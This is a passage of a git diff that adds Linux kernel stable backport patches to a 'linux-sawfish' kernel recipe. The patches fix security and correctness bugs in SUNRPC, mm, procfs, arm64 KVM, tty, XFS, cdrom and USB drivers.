+Fixes: 23c20ecd4475 ("NFS: callback up - users counting cleanup") +Signed-off-by: J. Bruce Fields +v2: - added lost extern svc_tcp_prep_reply_hdr() + - context changes in svc_process_common() + - dropped trace_svc_process() changes +Signed-off-by: Vasily Averin +Signed-off-by: Greg Kroah-Hartman +--- + include/linux/sunrpc/svc.h | 5 ++++- + net/sunrpc/svc.c | 10 +++++++--- + net/sunrpc/svc_xprt.c | 5 +++-- + net/sunrpc/svcsock.c | 2 +- + 4 files changed, 15 insertions(+), 7 deletions(-) + +diff --git a/include/linux/sunrpc/svc.h b/include/linux/sunrpc/svc.h +index 21678464883a2..a656e47b44101 100644 +--- a/include/linux/sunrpc/svc.h ++++ b/include/linux/sunrpc/svc.h +@@ -281,9 +281,12 @@ struct svc_rqst { + * to prevent encrypting page + * cache pages */ + struct task_struct *rq_task; /* service thread */ ++ struct net *rq_bc_net; /* pointer to backchannel's ++ * net namespace ++ */ + }; + +-#define SVC_NET(svc_rqst) (svc_rqst->rq_xprt->xpt_net) ++#define SVC_NET(rqst) (rqst->rq_xprt ? rqst->rq_xprt->xpt_net : rqst->rq_bc_net) + + /* + * Rigorous type checking on sockaddr type conversions +diff --git a/net/sunrpc/svc.c b/net/sunrpc/svc.c +index ca8a7958f4e6d..d7c1f254b3abe 100644 +--- a/net/sunrpc/svc.c ++++ b/net/sunrpc/svc.c +@@ -1061,6 +1061,8 @@ void svc_printk(struct svc_rqst *rqstp, const char *fmt, ...) + static __printf(2,3) void svc_printk(struct svc_rqst *rqstp, const char *fmt, ...) {} + #endif + ++extern void svc_tcp_prep_reply_hdr(struct svc_rqst *); ++ + /* + * Common routine for processing the RPC request. + */ +@@ -1090,7 +1092,8 @@ svc_process_common(struct svc_rqst *rqstp, struct kvec *argv, struct kvec *resv) + rqstp->rq_dropme = false; + + /* Setup reply header */ +- rqstp->rq_xprt->xpt_ops->xpo_prep_reply_hdr(rqstp); ++ if (rqstp->rq_prot == IPPROTO_TCP) ++ svc_tcp_prep_reply_hdr(rqstp); + + svc_putu32(resv, rqstp->rq_xid); + +@@ -1137,7 +1140,8 @@ svc_process_common(struct svc_rqst *rqstp, struct kvec *argv, struct kvec *resv) + case SVC_DENIED: + goto err_bad_auth; + case SVC_CLOSE: +- if (test_bit(XPT_TEMP, &rqstp->rq_xprt->xpt_flags)) ++ if (rqstp->rq_xprt && ++ test_bit(XPT_TEMP, &rqstp->rq_xprt->xpt_flags)) + svc_close_xprt(rqstp->rq_xprt); + case SVC_DROP: + goto dropit; +@@ -1347,10 +1351,10 @@ bc_svc_process(struct svc_serv *serv, struct rpc_rqst *req, + struct kvec *resv = &rqstp->rq_res.head[0]; + + /* Build the svc_rqst used by the common processing routine */ +- rqstp->rq_xprt = serv->sv_bc_xprt; + rqstp->rq_xid = req->rq_xid; + rqstp->rq_prot = req->rq_xprt->prot; + rqstp->rq_server = serv; ++ rqstp->rq_bc_net = req->rq_xprt->xprt_net; + + rqstp->rq_addrlen = sizeof(req->rq_xprt->addr); + memcpy(&rqstp->rq_addr, &req->rq_xprt->addr, rqstp->rq_addrlen); +diff --git a/net/sunrpc/svc_xprt.c b/net/sunrpc/svc_xprt.c +index b8680aa23d4f2..1a5e0024ccb6d 100644 +--- a/net/sunrpc/svc_xprt.c ++++ b/net/sunrpc/svc_xprt.c +@@ -438,10 +438,11 @@ static struct svc_xprt *svc_xprt_dequeue(struct svc_pool *pool) + */ + void svc_reserve(struct svc_rqst *rqstp, int space) + { ++ struct svc_xprt *xprt = rqstp->rq_xprt; ++ + space += rqstp->rq_res.head[0].iov_len; + +- if (space < rqstp->rq_reserved) { +- struct svc_xprt *xprt = rqstp->rq_xprt; ++ if (xprt && space < rqstp->rq_reserved) { + atomic_sub((rqstp->rq_reserved - space), &xprt->xpt_reserved); + rqstp->rq_reserved = space; + +diff --git a/net/sunrpc/svcsock.c b/net/sunrpc/svcsock.c +index 3e7215779011a..0f32dbf56466d 100644 +--- a/net/sunrpc/svcsock.c ++++ b/net/sunrpc/svcsock.c +@@ -1212,7 +1212,7 @@ static int svc_tcp_sendto(struct svc_rqst *rqstp) + /* + * Setup response header. TCP has a 4B record length field. + */ +-static void svc_tcp_prep_reply_hdr(struct svc_rqst *rqstp) ++void svc_tcp_prep_reply_hdr(struct svc_rqst *rqstp) + { + struct kvec *resv = &rqstp->rq_res.head[0]; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0466-2b8f74c8f0a4-mm get rid of vmacacheflushall entirely.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0466-2b8f74c8f0a4-mm get rid of vmacacheflushall entirely.patch new file mode 100644 index 0000000..48d44cb --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0466-2b8f74c8f0a4-mm get rid of vmacacheflushall entirely.patch @@ -0,0 +1,157 @@ +From 2b8f74c8f0a4aab0a20b9e77fdc3d17e8f2405dd Mon Sep 17 00:00:00 2001 +From: Linus Torvalds +Date: Wed, 12 Sep 2018 23:57:48 -1000 +Subject: mm: get rid of vmacache_flush_all() entirely + +commit 7a9cdebdcc17e426fb5287e4a82db1dfe86339b2 upstream. + +Jann Horn points out that the vmacache_flush_all() function is not only +potentially expensive, it's buggy too. It also happens to be entirely +unnecessary, because the sequence number overflow case can be avoided by +simply making the sequence number be 64-bit. That doesn't even grow the +data structures in question, because the other adjacent fields are +already 64-bit. + +So simplify the whole thing by just making the sequence number overflow +case go away entirely, which gets rid of all the complications and makes +the code faster too. Win-win. + +[ Oleg Nesterov points out that the VMACACHE_FULL_FLUSHES statistics + also just goes away entirely with this ] + +Reported-by: Jann Horn +Suggested-by: Will Deacon +Acked-by: Davidlohr Bueso +Cc: Oleg Nesterov +Cc: stable@kernel.org +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + include/linux/mm_types.h | 2 +- + include/linux/sched.h | 2 +- + include/linux/vmacache.h | 5 ----- + mm/debug.c | 4 ++-- + mm/vmacache.c | 36 ------------------------------------ + 5 files changed, 4 insertions(+), 45 deletions(-) + +diff --git a/include/linux/mm_types.h b/include/linux/mm_types.h +index 6e0b286649f1f..3ffdb0fcb4dcc 100644 +--- a/include/linux/mm_types.h ++++ b/include/linux/mm_types.h +@@ -345,7 +345,7 @@ struct kioctx_table; + struct mm_struct { + struct vm_area_struct *mmap; /* list of VMAs */ + struct rb_root mm_rb; +- u32 vmacache_seqnum; /* per-thread vmacache */ ++ u64 vmacache_seqnum; /* per-thread vmacache */ + #ifdef CONFIG_MMU + unsigned long (*get_unmapped_area) (struct file *filp, + unsigned long addr, unsigned long len, +diff --git a/include/linux/sched.h b/include/linux/sched.h +index ab10455e5b024..4e41e629afb1e 100644 +--- a/include/linux/sched.h ++++ b/include/linux/sched.h +@@ -1315,7 +1315,7 @@ struct task_struct { + unsigned brk_randomized:1; + #endif + /* per-thread vma caching */ +- u32 vmacache_seqnum; ++ u64 vmacache_seqnum; + struct vm_area_struct *vmacache[VMACACHE_SIZE]; + #if defined(SPLIT_RSS_COUNTING) + struct task_rss_stat rss_stat; +diff --git a/include/linux/vmacache.h b/include/linux/vmacache.h +index c3fa0fd439499..4f58ff2dacd69 100644 +--- a/include/linux/vmacache.h ++++ b/include/linux/vmacache.h +@@ -15,7 +15,6 @@ static inline void vmacache_flush(struct task_struct *tsk) + memset(tsk->vmacache, 0, sizeof(tsk->vmacache)); + } + +-extern void vmacache_flush_all(struct mm_struct *mm); + extern void vmacache_update(unsigned long addr, struct vm_area_struct *newvma); + extern struct vm_area_struct *vmacache_find(struct mm_struct *mm, + unsigned long addr); +@@ -29,10 +28,6 @@ extern struct vm_area_struct *vmacache_find_exact(struct mm_struct *mm, + static inline void vmacache_invalidate(struct mm_struct *mm) + { + mm->vmacache_seqnum++; +- +- /* deal with overflows */ +- if (unlikely(mm->vmacache_seqnum == 0)) +- vmacache_flush_all(mm); + } + + #endif /* __LINUX_VMACACHE_H */ +diff --git a/mm/debug.c b/mm/debug.c +index 5ce45c9a29b52..fbf16575c5123 100644 +--- a/mm/debug.c ++++ b/mm/debug.c +@@ -166,7 +166,7 @@ EXPORT_SYMBOL(dump_vma); + + void dump_mm(const struct mm_struct *mm) + { +- pr_emerg("mm %p mmap %p seqnum %d task_size %lu\n" ++ pr_emerg("mm %p mmap %p seqnum %llu task_size %lu\n" + #ifdef CONFIG_MMU + "get_unmapped_area %p\n" + #endif +@@ -196,7 +196,7 @@ void dump_mm(const struct mm_struct *mm) + #endif + "%s", /* This is here to hold the comma */ + +- mm, mm->mmap, mm->vmacache_seqnum, mm->task_size, ++ mm, mm->mmap, (long long) mm->vmacache_seqnum, mm->task_size, + #ifdef CONFIG_MMU + mm->get_unmapped_area, + #endif +diff --git a/mm/vmacache.c b/mm/vmacache.c +index 9f25af825dec6..e6e6e92d0d722 100644 +--- a/mm/vmacache.c ++++ b/mm/vmacache.c +@@ -5,42 +5,6 @@ + #include + #include + +-/* +- * Flush vma caches for threads that share a given mm. +- * +- * The operation is safe because the caller holds the mmap_sem +- * exclusively and other threads accessing the vma cache will +- * have mmap_sem held at least for read, so no extra locking +- * is required to maintain the vma cache. +- */ +-void vmacache_flush_all(struct mm_struct *mm) +-{ +- struct task_struct *g, *p; +- +- /* +- * Single threaded tasks need not iterate the entire +- * list of process. We can avoid the flushing as well +- * since the mm's seqnum was increased and don't have +- * to worry about other threads' seqnum. Current's +- * flush will occur upon the next lookup. +- */ +- if (atomic_read(&mm->mm_users) == 1) +- return; +- +- rcu_read_lock(); +- for_each_process_thread(g, p) { +- /* +- * Only flush the vmacache pointers as the +- * mm seqnum is already set and curr's will +- * be set upon invalidation when the next +- * lookup is done. +- */ +- if (mm == p->mm) +- vmacache_flush(p); +- } +- rcu_read_unlock(); +-} +- + /* + * This task may be accessing a foreign mm via (for example) + * get_user_pages()->find_vma(). The vmacache is task-local and this +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0467-ea20fab573d9-proc restrict kernel stack dumps to root.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0467-ea20fab573d9-proc restrict kernel stack dumps to root.patch new file mode 100644 index 0000000..c42e262 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0467-ea20fab573d9-proc restrict kernel stack dumps to root.patch @@ -0,0 +1,75 @@ +From ea20fab573d999205f8b1438d792486dcf76aa4c Mon Sep 17 00:00:00 2001 +From: Jann Horn +Date: Fri, 5 Oct 2018 15:51:58 -0700 +Subject: proc: restrict kernel stack dumps to root + +commit f8a00cef17206ecd1b30d3d9f99e10d9fa707aa7 upstream. + +Currently, you can use /proc/self/task/*/stack to cause a stack walk on +a task you control while it is running on another CPU. That means that +the stack can change under the stack walker. The stack walker does +have guards against going completely off the rails and into random +kernel memory, but it can interpret random data from your kernel stack +as instruction pointers and stack pointers. This can cause exposure of +kernel stack contents to userspace. + +Restrict the ability to inspect kernel stacks of arbitrary tasks to root +in order to prevent a local attacker from exploiting racy stack unwinding +to leak kernel task stack contents. See the added comment for a longer +rationale. + +There don't seem to be any users of this userspace API that can't +gracefully bail out if reading from the file fails. Therefore, I believe +that this change is unlikely to break things. In the case that this patch +does end up needing a revert, the next-best solution might be to fake a +single-entry stack based on wchan. + +Link: http://lkml.kernel.org/r/20180927153316.200286-1-jannh@google.com +Fixes: 2ec220e27f50 ("proc: add /proc/*/stack") +Signed-off-by: Jann Horn +Acked-by: Kees Cook +Cc: Alexey Dobriyan +Cc: Ken Chen +Cc: Will Deacon +Cc: Laura Abbott +Cc: Andy Lutomirski +Cc: Catalin Marinas +Cc: Josh Poimboeuf +Cc: Thomas Gleixner +Cc: Ingo Molnar +Cc: "H . Peter Anvin" +Cc: +Signed-off-by: Andrew Morton +Signed-off-by: Greg Kroah-Hartman +--- + fs/proc/base.c | 14 ++++++++++++++ + 1 file changed, 14 insertions(+) + +diff --git a/fs/proc/base.c b/fs/proc/base.c +index 71e586465168..c6ab2e709783 100644 +--- a/fs/proc/base.c ++++ b/fs/proc/base.c +@@ -279,6 +279,20 @@ static int proc_pid_stack(struct seq_file *m, struct pid_namespace *ns, + int err; + int i; + ++ /* ++ * The ability to racily run the kernel stack unwinder on a running task ++ * and then observe the unwinder output is scary; while it is useful for ++ * debugging kernel issues, it can also allow an attacker to leak kernel ++ * stack contents. ++ * Doing this in a manner that is at least safe from races would require ++ * some work to ensure that the remote task can not be scheduled; and ++ * even then, this would still expose the unwinder as local attack ++ * surface. ++ * Therefore, this interface is restricted to root. ++ */ ++ if (!file_ns_capable(m->file, &init_user_ns, CAP_SYS_ADMIN)) ++ return -EACCES; ++ + entries = kmalloc(MAX_STACK_TRACE_DEPTH * sizeof(*entries), GFP_KERNEL); + if (!entries) + return -ENOMEM; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0468-d26e09111cb7-arm64 KVM Tighten guest core register access from userspace.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0468-d26e09111cb7-arm64 KVM Tighten guest core register access from userspace.patch new file mode 100644 index 0000000..3492699 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0468-d26e09111cb7-arm64 KVM Tighten guest core register access from userspace.patch @@ -0,0 +1,101 @@ +From d26e09111cb7b9c3727c4621ee241cb408d47a7d Mon Sep 17 00:00:00 2001 +From: Dave Martin +Date: Thu, 27 Sep 2018 16:53:21 +0100 +Subject: arm64: KVM: Tighten guest core register access from userspace + +commit d26c25a9d19b5976b319af528886f89cf455692d upstream. + +We currently allow userspace to access the core register file +in about any possible way, including straddling multiple +registers and doing unaligned accesses. + +This is not the expected use of the ABI, and nobody is actually +using it that way. Let's tighten it by explicitly checking +the size and alignment for each field of the register file. + +Cc: +Fixes: 2f4a07c5f9fe ("arm64: KVM: guest one-reg interface") +Reviewed-by: Christoffer Dall +Reviewed-by: Mark Rutland +Signed-off-by: Dave Martin +[maz: rewrote Dave's initial patch to be more easily backported] +Signed-off-by: Marc Zyngier +Signed-off-by: Will Deacon +Signed-off-by: Greg Kroah-Hartman +--- + arch/arm64/kvm/guest.c | 45 +++++++++++++++++++++++++++++++++++++++++++++ + 1 file changed, 45 insertions(+) + +diff --git a/arch/arm64/kvm/guest.c b/arch/arm64/kvm/guest.c +index 61ec16bd528b..5d93c9f24847 100644 +--- a/arch/arm64/kvm/guest.c ++++ b/arch/arm64/kvm/guest.c +@@ -46,6 +46,45 @@ static u64 core_reg_offset_from_id(u64 id) + return id & ~(KVM_REG_ARCH_MASK | KVM_REG_SIZE_MASK | KVM_REG_ARM_CORE); + } + ++static int validate_core_offset(const struct kvm_one_reg *reg) ++{ ++ u64 off = core_reg_offset_from_id(reg->id); ++ int size; ++ ++ switch (off) { ++ case KVM_REG_ARM_CORE_REG(regs.regs[0]) ... ++ KVM_REG_ARM_CORE_REG(regs.regs[30]): ++ case KVM_REG_ARM_CORE_REG(regs.sp): ++ case KVM_REG_ARM_CORE_REG(regs.pc): ++ case KVM_REG_ARM_CORE_REG(regs.pstate): ++ case KVM_REG_ARM_CORE_REG(sp_el1): ++ case KVM_REG_ARM_CORE_REG(elr_el1): ++ case KVM_REG_ARM_CORE_REG(spsr[0]) ... ++ KVM_REG_ARM_CORE_REG(spsr[KVM_NR_SPSR - 1]): ++ size = sizeof(__u64); ++ break; ++ ++ case KVM_REG_ARM_CORE_REG(fp_regs.vregs[0]) ... ++ KVM_REG_ARM_CORE_REG(fp_regs.vregs[31]): ++ size = sizeof(__uint128_t); ++ break; ++ ++ case KVM_REG_ARM_CORE_REG(fp_regs.fpsr): ++ case KVM_REG_ARM_CORE_REG(fp_regs.fpcr): ++ size = sizeof(__u32); ++ break; ++ ++ default: ++ return -EINVAL; ++ } ++ ++ if (KVM_REG_SIZE(reg->id) == size && ++ IS_ALIGNED(off, size / sizeof(__u32))) ++ return 0; ++ ++ return -EINVAL; ++} ++ + static int get_core_reg(struct kvm_vcpu *vcpu, const struct kvm_one_reg *reg) + { + /* +@@ -65,6 +104,9 @@ static int get_core_reg(struct kvm_vcpu *vcpu, const struct kvm_one_reg *reg) + (off + (KVM_REG_SIZE(reg->id) / sizeof(__u32))) >= nr_regs) + return -ENOENT; + ++ if (validate_core_offset(reg)) ++ return -EINVAL; ++ + if (copy_to_user(uaddr, ((u32 *)regs) + off, KVM_REG_SIZE(reg->id))) + return -EFAULT; + +@@ -87,6 +129,9 @@ static int set_core_reg(struct kvm_vcpu *vcpu, const struct kvm_one_reg *reg) + (off + (KVM_REG_SIZE(reg->id) / sizeof(__u32))) >= nr_regs) + return -ENOENT; + ++ if (validate_core_offset(reg)) ++ return -EINVAL; ++ + if (KVM_REG_SIZE(reg->id) > sizeof(tmp)) + return -EINVAL; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0469-a46148c3ec2d-arm64 KVM Sanitize PSTATEM when being set from userspace.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0469-a46148c3ec2d-arm64 KVM Sanitize PSTATEM when being set from userspace.patch new file mode 100644 index 0000000..c3182d7 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0469-a46148c3ec2d-arm64 KVM Sanitize PSTATEM when being set from userspace.patch @@ -0,0 +1,75 @@ +From a46148c3ec2d0a74b646d9e34195cc0aafa0c6ad Mon Sep 17 00:00:00 2001 +From: Marc Zyngier +Date: Thu, 27 Sep 2018 16:53:22 +0100 +Subject: arm64: KVM: Sanitize PSTATE.M when being set from userspace + +commit 2a3f93459d689d990b3ecfbe782fec89b97d3279 upstream. + +Not all execution modes are valid for a guest, and some of them +depend on what the HW actually supports. Let's verify that what +userspace provides is compatible with both the VM settings and +the HW capabilities. + +Cc: +Fixes: 0d854a60b1d7 ("arm64: KVM: enable initialization of a 32bit vcpu") +Reviewed-by: Christoffer Dall +Reviewed-by: Mark Rutland +Reviewed-by: Dave Martin +Signed-off-by: Marc Zyngier +Signed-off-by: Will Deacon +Signed-off-by: Greg Kroah-Hartman +--- + arch/arm64/include/asm/kvm_emulate.h | 5 +++++ + arch/arm64/kvm/guest.c | 10 +++++++++- + 2 files changed, 14 insertions(+), 1 deletion(-) + +diff --git a/arch/arm64/include/asm/kvm_emulate.h b/arch/arm64/include/asm/kvm_emulate.h +index 865a7e28ea2d..3d0098d7b47e 100644 +--- a/arch/arm64/include/asm/kvm_emulate.h ++++ b/arch/arm64/include/asm/kvm_emulate.h +@@ -38,6 +38,11 @@ void kvm_inject_undefined(struct kvm_vcpu *vcpu); + void kvm_inject_dabt(struct kvm_vcpu *vcpu, unsigned long addr); + void kvm_inject_pabt(struct kvm_vcpu *vcpu, unsigned long addr); + ++static inline bool vcpu_el1_is_32bit(struct kvm_vcpu *vcpu) ++{ ++ return !(vcpu->arch.hcr_el2 & HCR_RW); ++} ++ + static inline void vcpu_reset_hcr(struct kvm_vcpu *vcpu) + { + vcpu->arch.hcr_el2 = HCR_GUEST_FLAGS; +diff --git a/arch/arm64/kvm/guest.c b/arch/arm64/kvm/guest.c +index 5d93c9f24847..286453f462df 100644 +--- a/arch/arm64/kvm/guest.c ++++ b/arch/arm64/kvm/guest.c +@@ -141,17 +141,25 @@ static int set_core_reg(struct kvm_vcpu *vcpu, const struct kvm_one_reg *reg) + } + + if (off == KVM_REG_ARM_CORE_REG(regs.pstate)) { +- u32 mode = (*(u32 *)valp) & COMPAT_PSR_MODE_MASK; ++ u64 mode = (*(u64 *)valp) & COMPAT_PSR_MODE_MASK; + switch (mode) { + case COMPAT_PSR_MODE_USR: ++ if ((read_cpuid(ID_AA64PFR0_EL1) & 0xf) != 2) ++ return -EINVAL; ++ break; + case COMPAT_PSR_MODE_FIQ: + case COMPAT_PSR_MODE_IRQ: + case COMPAT_PSR_MODE_SVC: + case COMPAT_PSR_MODE_ABT: + case COMPAT_PSR_MODE_UND: ++ if (!vcpu_el1_is_32bit(vcpu)) ++ return -EINVAL; ++ break; + case PSR_MODE_EL0t: + case PSR_MODE_EL1t: + case PSR_MODE_EL1h: ++ if (vcpu_el1_is_32bit(vcpu)) ++ return -EINVAL; + break; + default: + err = -EINVAL; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0470-95a9e2bf54b8-ntty fix EXTPROC vs ICANON interaction with TIOCINQ aka FIONREAD.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0470-95a9e2bf54b8-ntty fix EXTPROC vs ICANON interaction with TIOCINQ aka FIONREAD.patch new file mode 100644 index 0000000..c4ab629 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0470-95a9e2bf54b8-ntty fix EXTPROC vs ICANON interaction with TIOCINQ aka FIONREAD.patch @@ -0,0 +1,66 @@ +From 95a9e2bf54b89e00a989c4c6c83efbd3cb972516 Mon Sep 17 00:00:00 2001 +From: Linus Torvalds +Date: Wed, 20 Dec 2017 17:57:06 -0800 +Subject: n_tty: fix EXTPROC vs ICANON interaction with TIOCINQ (aka FIONREAD) + +commit 966031f340185eddd05affcf72b740549f056348 upstream. + +We added support for EXTPROC back in 2010 in commit 26df6d13406d ("tty: +Add EXTPROC support for LINEMODE") and the intent was to allow it to +override some (all?) ICANON behavior. Quoting from that original commit +message: + + There is a new bit in the termios local flag word, EXTPROC. + When this bit is set, several aspects of the terminal driver + are disabled. Input line editing, character echo, and mapping + of signals are all disabled. This allows the telnetd to turn + off these functions when in linemode, but still keep track of + what state the user wants the terminal to be in. + +but the problem turns out that "several aspects of the terminal driver +are disabled" is a bit ambiguous, and you can really confuse the n_tty +layer by setting EXTPROC and then causing some of the ICANON invariants +to no longer be maintained. + +This fixes at least one such case (TIOCINQ) becoming unhappy because of +the confusion over whether ICANON really means ICANON when EXTPROC is set. + +This basically makes TIOCINQ match the case of read: if EXTPROC is set, +we ignore ICANON. Also, make sure to reset the ICANON state ie EXTPROC +changes, not just if ICANON changes. + +Fixes: 26df6d13406d ("tty: Add EXTPROC support for LINEMODE") +Reported-by: Tetsuo Handa +Reported-by: syzkaller +Cc: Jiri Slaby +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + drivers/tty/n_tty.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/drivers/tty/n_tty.c b/drivers/tty/n_tty.c +index 7b64a5fdd916f..c5bd4ca18b09b 100644 +--- a/drivers/tty/n_tty.c ++++ b/drivers/tty/n_tty.c +@@ -1809,7 +1809,7 @@ static void n_tty_set_termios(struct tty_struct *tty, struct ktermios *old) + { + struct n_tty_data *ldata = tty->disc_data; + +- if (!old || (old->c_lflag ^ tty->termios.c_lflag) & ICANON) { ++ if (!old || (old->c_lflag ^ tty->termios.c_lflag) & (ICANON | EXTPROC)) { + bitmap_zero(ldata->read_flags, N_TTY_BUF_SIZE); + ldata->line_start = ldata->read_tail; + if (!L_ICANON(tty) || !read_cnt(ldata)) { +@@ -2525,7 +2525,7 @@ static int n_tty_ioctl(struct tty_struct *tty, struct file *file, + return put_user(tty_chars_in_buffer(tty), (int __user *) arg); + case TIOCINQ: + down_write(&tty->termios_rwsem); +- if (L_ICANON(tty)) ++ if (L_ICANON(tty) && !L_EXTPROC(tty)) + retval = inq_canon(ldata); + else + retval = read_cnt(ldata); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0471.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0471.diff new file mode 100644 index 0000000..d8c8888 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0471.diff @@ -0,0 +1,20 @@ +diff --git a/fs/xfs/libxfs/xfs_attr.c b/fs/xfs/libxfs/xfs_attr.c +index 0946685..ea66c0d1 100644 +--- a/fs/xfs/libxfs/xfs_attr.c ++++ b/fs/xfs/libxfs/xfs_attr.c +@@ -534,7 +534,14 @@ + if (args->flags & ATTR_CREATE) + return retval; + retval = xfs_attr_shortform_remove(args); +- ASSERT(retval == 0); ++ if (retval) ++ return retval; ++ /* ++ * Since we have removed the old attr, clear ATTR_REPLACE so ++ * that the leaf format add routine won't trip over the attr ++ * not being around. ++ */ ++ args->flags &= ~ATTR_REPLACE; + } + + if (args->namelen >= XFS_ATTR_SF_ENTSIZE_MAX || diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0472-0869341c3490-cdrom fix improper type cast which can leat to information leak.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0472-0869341c3490-cdrom fix improper type cast which can leat to information leak.patch new file mode 100644 index 0000000..368e776 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0472-0869341c3490-cdrom fix improper type cast which can leat to information leak.patch @@ -0,0 +1,37 @@ +From 0869341c34905b7f34b1c4e2a378bf1488f9df7c Mon Sep 17 00:00:00 2001 +From: Young_X +Date: Wed, 3 Oct 2018 12:54:29 +0000 +Subject: cdrom: fix improper type cast, which can leat to information leak. + +commit e4f3aa2e1e67bb48dfbaaf1cad59013d5a5bc276 upstream. + +There is another cast from unsigned long to int which causes +a bounds check to fail with specially crafted input. The value is +then used as an index in the slot array in cdrom_slot_status(). + +This issue is similar to CVE-2018-16658 and CVE-2018-10940. + +Signed-off-by: Young_X +Signed-off-by: Jens Axboe +Cc: Ben Hutchings +Signed-off-by: Greg Kroah-Hartman +--- + drivers/cdrom/cdrom.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/cdrom/cdrom.c b/drivers/cdrom/cdrom.c +index 81fb29741dc1c..2bd91d4943e19 100644 +--- a/drivers/cdrom/cdrom.c ++++ b/drivers/cdrom/cdrom.c +@@ -2424,7 +2424,7 @@ static int cdrom_ioctl_select_disc(struct cdrom_device_info *cdi, + return -ENOSYS; + + if (arg != CDSL_CURRENT && arg != CDSL_NONE) { +- if ((int)arg >= cdi->capacity) ++ if (arg >= cdi->capacity) + return -EINVAL; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0473.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0473.diff new file mode 100644 index 0000000..a8ae3ad --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0473.diff @@ -0,0 +1,18 @@ +diff --git a/sound/usb/card.c b/sound/usb/card.c +index f7dbdc1..59fb1ef 100644 +--- a/sound/usb/card.c ++++ b/sound/usb/card.c +@@ -593,9 +593,12 @@ + + __error: + if (chip) { ++ /* chip->probing is inside the chip->card object, ++ * reset before memory is possibly returned. ++ */ ++ chip->probing = 0; + if (!chip->num_interfaces) + snd_card_free(chip->card); +- chip->probing = 0; + } + mutex_unlock(®ister_mutex); + __err_val: diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0474-2dbfeb339325-USB hso Fix OOB memory access in hsoprobehsogetconfigdata.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0474-2dbfeb339325-USB hso Fix OOB memory access in hsoprobehsogetconfigdata.patch new file mode 100644 index 0000000..21d7182 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0474-2dbfeb339325-USB hso Fix OOB memory access in hsoprobehsogetconfigdata.patch @@ -0,0 +1,69 @@ +From 2dbfeb3393252289ce87a8e1a6ddbd47c2aa7eb4 Mon Sep 17 00:00:00 2001 +From: Hui Peng +Date: Wed, 12 Dec 2018 12:42:24 +0100 +Subject: USB: hso: Fix OOB memory access in hso_probe/hso_get_config_data + +commit 5146f95df782b0ac61abde36567e718692725c89 upstream. + +The function hso_probe reads if_num from the USB device (as an u8) and uses +it without a length check to index an array, resulting in an OOB memory read +in hso_probe or hso_get_config_data. + +Add a length check for both locations and updated hso_probe to bail on +error. + +This issue has been assigned CVE-2018-19985. + +Reported-by: Hui Peng +Reported-by: Mathias Payer +Signed-off-by: Hui Peng +Signed-off-by: Mathias Payer +Reviewed-by: Sebastian Andrzej Siewior +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + drivers/net/usb/hso.c | 18 ++++++++++++++++-- + 1 file changed, 16 insertions(+), 2 deletions(-) + +diff --git a/drivers/net/usb/hso.c b/drivers/net/usb/hso.c +index babda7d8693eb..f040bf558430a 100644 +--- a/drivers/net/usb/hso.c ++++ b/drivers/net/usb/hso.c +@@ -2814,6 +2814,12 @@ static int hso_get_config_data(struct usb_interface *interface) + return -EIO; + } + ++ /* check if we have a valid interface */ ++ if (if_num > 16) { ++ kfree(config_data); ++ return -EINVAL; ++ } ++ + switch (config_data[if_num]) { + case 0x0: + result = 0; +@@ -2884,10 +2890,18 @@ static int hso_probe(struct usb_interface *interface, + + /* Get the interface/port specification from either driver_info or from + * the device itself */ +- if (id->driver_info) ++ if (id->driver_info) { ++ /* if_num is controlled by the device, driver_info is a 0 terminated ++ * array. Make sure, the access is in bounds! */ ++ for (i = 0; i <= if_num; ++i) ++ if (((u32 *)(id->driver_info))[i] == 0) ++ goto exit; + port_spec = ((u32 *)(id->driver_info))[if_num]; +- else ++ } else { + port_spec = hso_get_config_data(interface); ++ if (port_spec < 0) ++ goto exit; ++ } + + /* Check if we need to switch to alt interfaces prior to port + * configuration */ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0475-d672c306e00a-USB check usbgetextradescriptor for proper size.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0475-d672c306e00a-USB check usbgetextradescriptor for proper size.patch new file mode 100644 index 0000000..bbfc04d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0475-d672c306e00a-USB check usbgetextradescriptor for proper size.patch @@ -0,0 +1,104 @@ +From 